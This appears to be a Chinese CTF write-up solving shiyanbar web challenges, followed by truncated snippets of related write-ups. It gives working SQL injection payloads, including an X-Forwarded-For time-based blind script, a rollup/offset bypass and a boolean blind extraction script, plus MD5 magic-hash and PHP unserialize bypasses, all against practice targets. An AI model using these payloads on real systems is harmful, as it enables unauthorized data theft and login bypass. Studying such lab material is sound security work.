1. 程式人生 > >實驗吧 CTF

實驗吧 CTF

登入一下好嗎
->運算子叫做“指向結構體成員運算子”,是C語言和C++語言的一個運算子,用處是使用一個指向結構體或物件的指標訪問其內成員。
登入 使用者名稱-> ‘=’
密碼-> ‘=’
那麼正常執行的SQL語句就是
select * from 表 where username = “$_POST[‘userneme’]” and password = “$_POST[‘password’]”;
那我們登入執行的SQL語句
select * from 表 where username = “‘‘=’’” and password = “‘‘=’’”;
“‘‘=’’”始終成立,NULL=NULL,就相當於
select * from 表 where 1 and 1;
這裡寫圖片描述

who are you?
時間盲注,在X-forwarded-for引數中。
主要還是SQL語句的理解:
‘+”+”(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(5) else 1 end ) and ‘1’=’1
單引號閉合,後面都是條件子句,
case when then else end
substring
() from for

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模組包 import requests import string url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php" guess = string.lowercase+string.uppercase+string.digits+string.punctuation database=[] flag = "" for i in range(1,33): for str in guess: headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1"
%(i,str)} try: res=requests.get(url,headers=headers,timeout=4) except requests.exceptions.ReadTimeout, e: flag = flag + str print "flag:", flag break print 'result:' + flag

天網管理系統
原始碼,提示:<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
科學計數法:0exxx就是0
MD5值,0e開頭:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

進入/user.php?fame=hjkleffifer
提示$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ print_r($flag); }
偉大的科學家php方言道:成也布林,敗也布林。 回去吧騷年

serialize函式 序列化
本地php構造

<?php
$array1 = array('user' => true,'pass'=>true);
print_r(serialize($array1))
?>

得到“a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}”
完工:ctf{dwduwkhduw5465}

因缺思汀的繞過
原始碼,提示:<!--source: source.txt-->
原始碼

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可載舟,亦可賽艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可賽艇!";
    }
}else{
    print "一顆賽艇!";
}
mysql_close($con);
?>

有兩個if巢狀

(mysql_num_rows($query) == 1)
($key['pwd'] == $_POST['pwd'])

那就繞過唄!返回行數為1,那就limit 1
pwd我們不知道 利用

group by 列名 with rollup ……offset 數字
數字只能挨個試,最後一個即可。

or 1 group by pwd with rollup limit 1 offset 2#

CTF{with_rollup_interesting}
python:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模組包

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/pcat/index.php"

#(!isset($_POST['uname']) || !isset($_POST['pwd']))
payload = {'uname':"'or 1 group by pwd with rollup limit 1 offset 2#",'pwd':""}
# print payload['uname'].decode("utf-8")
res = requests.post(url,data=payload)
print res.text

雖然pwd為空,傳參也必須加入字典。

簡單的sql注入之3

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
import requests
import string
string = string.digits+string.ascii_lowercase
#爆破的基礎字元
flag = []
FLAG = False

def POC(x,i):
    url = 'http://ctf5.shiyanbar.com/web/index_3.php?id='
    poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i)
    res = requests.get(url+poc)
    #print('testing url:' + url + poc) # test...
    if res.headers['Content-Length'] == '471':
        return 1
    else:
        return 0
for x in range(1, 35):
    for i in range(32, 129):  # ascii碼可見字元32-127
        if POC(x, i):
           flag.append(chr(i))  # chr()將整數轉為對應的ascii碼字元
           break
        elif i == 128:  # 當該位flag沒有匹配的字元時退出迴圈
            FLAG = True
    if FLAG:
        break
# 以字串的形式輸出結果
get_flag = ''
for i in flag:
    get_flag += i
print get_flag

payload就是
1’and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23
1’and+ascii(substr((select+flag+from+flag),%d,1))=%d#(x,i)
判斷第一到第35個字元的ascii碼分別是32-127中的哪一個,再轉換成字元輸出到flag
flag{[email protected]_5O_dAmn_90Od}

相關推薦

實驗CTF題庫-隱寫術

打不開 nba car src lag 下載圖片 div key 查看 Spamcarver: 用kali下載圖片 root@sch01ar:~# wget http://ctf5.shiyanbar.com/stega/spamcarver/spamcarver.jpg

實驗CTF who are you?基於時間盲註

請求 .get head 輸入 pytho 知識 request quest lee 這是我第三次接觸時間盲註,所以就寫一個博文和大家分享一下,還能檢驗我對知識的掌握程度。?( ′???` ) 點開網址是把你的真實IP地址打印出來!然後立馬看網頁源代碼什麽發現都沒有! 現

實驗-CTF-web-忘記密碼了&&這個看起來有點簡單 (學習筆記)

實驗環境 firefox BurpsuitePro-v1.6 sqlmap(kali) 忘記密碼了 題目為一個連結 開啟是一個輸入郵箱接收重置密碼的網頁,檢視原始碼發現管理員郵箱,vim格式,可能會有一個備份檔案.swp,還有一個重置密碼連結 構造一下url,改為http

實驗-CTF-web-頭有點大&&貌似有點難&&看起來有點難(學習筆記)

實驗環境 sqlmap(kali2.0) BurpsuitePro-v1.6 firefox 頭有點大 題目連結:http://www.shiyanbar.com/ctf/29 打開發現說缺少 .net framework9.9,但是沒有9.9版本,還要求在英格蘭地區

實驗 ctf 簡單的sql注入3

解題連結: http://ctf5.shiyanbar.com/web/index_3.php id=1為注入點 http://ctf5.shiyanbar.com/web/index_3.php?id=1然後就用sqlmap來跑一下 結果能出答案 我也是抱著嘗試的態度

實驗CTF題庫 bin100(ebCTF 2013) 利用OD進行逆向破解

分析: 首先我們執行開啟的程式,發現是一個按回車鍵然後生成一個骰子個數的遊戲,試驗了兩下,發現可能要很多步才能得出最終答案,所以需要我們對這個程式破解然後跳過這個驗證環節。 1.使用PEID載入分析

實驗CTF題目之疑惑的漢字(1876)

對於這種題,唯一的方法就是積累;見得多了也就不覺得奇怪了; 題目給出了密文,分析密文發現這些漢字沒有什麼特殊的含義;那就從他的結構來分析;你會發現他們特別符合當鋪密碼的結構; 什麼是當鋪密碼?當鋪密

實驗CTF題目之抓到你了(代號:1813)

開啟解題連結,他需要你下載一個檔案,下載完成後你會發現是一個pcap為字尾的檔案,果斷用wireshark開啟進行資料分析; 題目中有給的提示:入侵者是通過ping工具進行掃描的。而ping命令使用的是ICMP協議,所以在過濾器中填寫icmp; 有5個數據包,分別檢視他

實驗CTF天網管理系統

天網你敢來挑戰嘛 格式:ctf{ } 解題連結: http://ctf5.shiyanbar.com/10/web1/  開啟連結後,嗯,光明正大的放出賬號密碼,肯定是登不進的,檢視原始碼 看來是和md5碰撞有關的了, PHP在處理雜湊字串時,會利用”!=”或”

西普實驗CTF-分數拆分

題目描述: 存在這樣的一個等式,1/400=1/x+1/2y,(x>y)。你的任務就是求出共有多少對這樣的正整數x和y,使得該等式成立。(提示:你只需要求出有多少對,而不必輸出這些X,Y對具體是

實驗CTF刷題記錄(web篇)

5.程式邏輯問題 繞過 if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die

實驗ctf

1/登陸一下好嗎?? http://ctf5.shiyanbar.com/web/wonderkun/web/index.html =' =' ctf{51d1bf8fb65a8c2406513ee8f52283e7} import r

實驗ctf題庫:這個看起來有點簡單!

       這是一道十分基礎的web題目,因為我也是剛剛接觸ctf,記錄一下第一道題的解題過程,算是自己的一個回顧吧,同時也給一些想要入門的朋友一點點微弱的參考吧。一、sqlmap的安裝       在windows下安裝sqlmap需要先下載適用windows的sqlma

實驗CTF刷題記錄(web篇二)

8.上傳繞過 直接上傳.php會被攔截。嘗試上傳圖片馬,能上傳但不符合題目要求。 嘗試bp抓包改字尾名無果,並非在客戶端javascript驗證。 嘗試截斷路徑繞過,上傳1.jpg檔案,bp抓包,路徑upload後新增1.php空格,將hex中空格20改為00,forw

實驗CTF題庫 上傳繞過題解 0x00截斷

題目地址:http://www.shiyanbar.com/ctf/1781分析:首先隨便提交一個檔案,提示要上傳jpg png或者gif格式的檔案,然後上傳一個jpg檔案以後,出現如下提示:提示要上傳php字尾的檔案,於是我們考慮採用burpsuite抓包,然後使用0x00

實驗 CTF

登入一下好嗎 ->運算子叫做“指向結構體成員運算子”,是C語言和C++語言的一個運算子,用處是使用一個指向結構體或物件的指標訪問其內成員。 登入 使用者名稱-> ‘=’ 密碼-> ‘=’ 那麼正常執行的SQL語句就是 sel

實驗 ctf 題目簡單的sql注入2writeup

1.輸入id值,通過回顯發現題目應該是進行了空格過濾 2.使用sqlmap進行注入    2.1  python sqlmap.py  -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent 

實驗-CTF-web-忘記密碼了&&這個看起來有點簡單 (學習筆記)

實驗環境 firefox BurpsuitePro-v1.6 sqlmap(kali) 忘記密碼了 題目為一個連結 開啟是一個輸入郵箱接收重置密碼的網頁,檢視原始碼發現管理員郵箱,vim格式,可能會有一個備份檔案.swp,還有一個重置密碼連結 構造一下url

實驗CTF-Who are you?

Who are you 題目: 我要把攻擊我的人都記錄db中去! 格式ctf{} 解題: 訪問連結,頁面顯示your IP is XX.XX.XX.XX,知道這是一個關於IP偽造。 嘗試各種偽造IP的HTTP頭: X-Forwarded-For Cli

實驗-ctf-misc

1.歡迎來到地獄 用winhex對第一個jpg檔案補頭,獲取網址https://pan.baidu.com/s/1i49Jhlj,開啟得到音樂檔案,用Audacity開啟獲取摩斯電碼,破解,獲得密碼KEYLETUSGO,開啟word文件,檢視隱藏字元獲得image steg